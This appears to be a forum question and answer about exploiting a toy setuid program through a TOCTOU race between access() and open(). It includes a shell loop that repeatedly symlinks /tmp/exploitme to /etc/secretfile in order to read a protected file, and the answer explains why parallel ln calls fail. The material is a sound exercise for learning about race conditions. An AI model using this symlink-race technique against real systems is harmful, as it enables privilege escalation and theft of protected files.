It's just an exercise. I am not trying to exploit something...
I have a setuid toy program to exploit(decompiled version):
int main(int argc, const char **argv)
{
int v3, v4, v5;
int result;
int v7;
int v8;
int v9;
int v10;
memset(&v9, 0, 0x14u);
if ( !access("/tmp/exploitme", 4) )
{
v3 = geteuid();
v4 = geteuid();
v5 = geteuid();
setresuid(v5, v4, v3, argv);
v8 = open("/tmp/exploitme", 0);
if ( v8 < 0 )
exit(-1);
read(v8, &v9, 0x13u);
write(1, &v9, 0x13u);
}
result = 0;
return result;
}
There exists race condition between the access
and open
.
So here is the script, I use the classical trick: alter nice value to reduce scheduling priority.
#!/bin/sh
touch /tmp/myfile
while true; do
ln -sf /tmp/myfile /tmp/exploitme &
nice -15 /workspace/toy &
ln -sf /etc/secretfile /tmp/exploitme &
done
But I get these errors from the script:
ln: failed to create symbolic link '/tmp/expolitme': File exists
ln: cannot remove '/tmp/expolit': No such file or directory
I already use -f option of ln
to force create symlink. Why I have these errors?
The problem is with the way you call ln
-- multiple instances at the same time. The way ln
"forces" symbolic links is that it unlinks (removes) the destination and recreates it again. But you are calling multiple ln
instances at the same time which results in a race condition with other calls to ln
. Because one or more instances do unlink of tmp/exploitme
but some other instance has already created the new /tmp/exploitme
; so the "file exists". If you don't spawn multiple ln
instances in the background, you won't observe this problem.
Let's me show an example with 2 instances: A and B
Instance A Instance B
Calls ln Calls ln
Deletes /tmp/expolitme if exists Deletes /tmp/expolitme if exists
Creates /tmp/expolitme
Creates /tmp/expolitme
(File exists - because A created it already)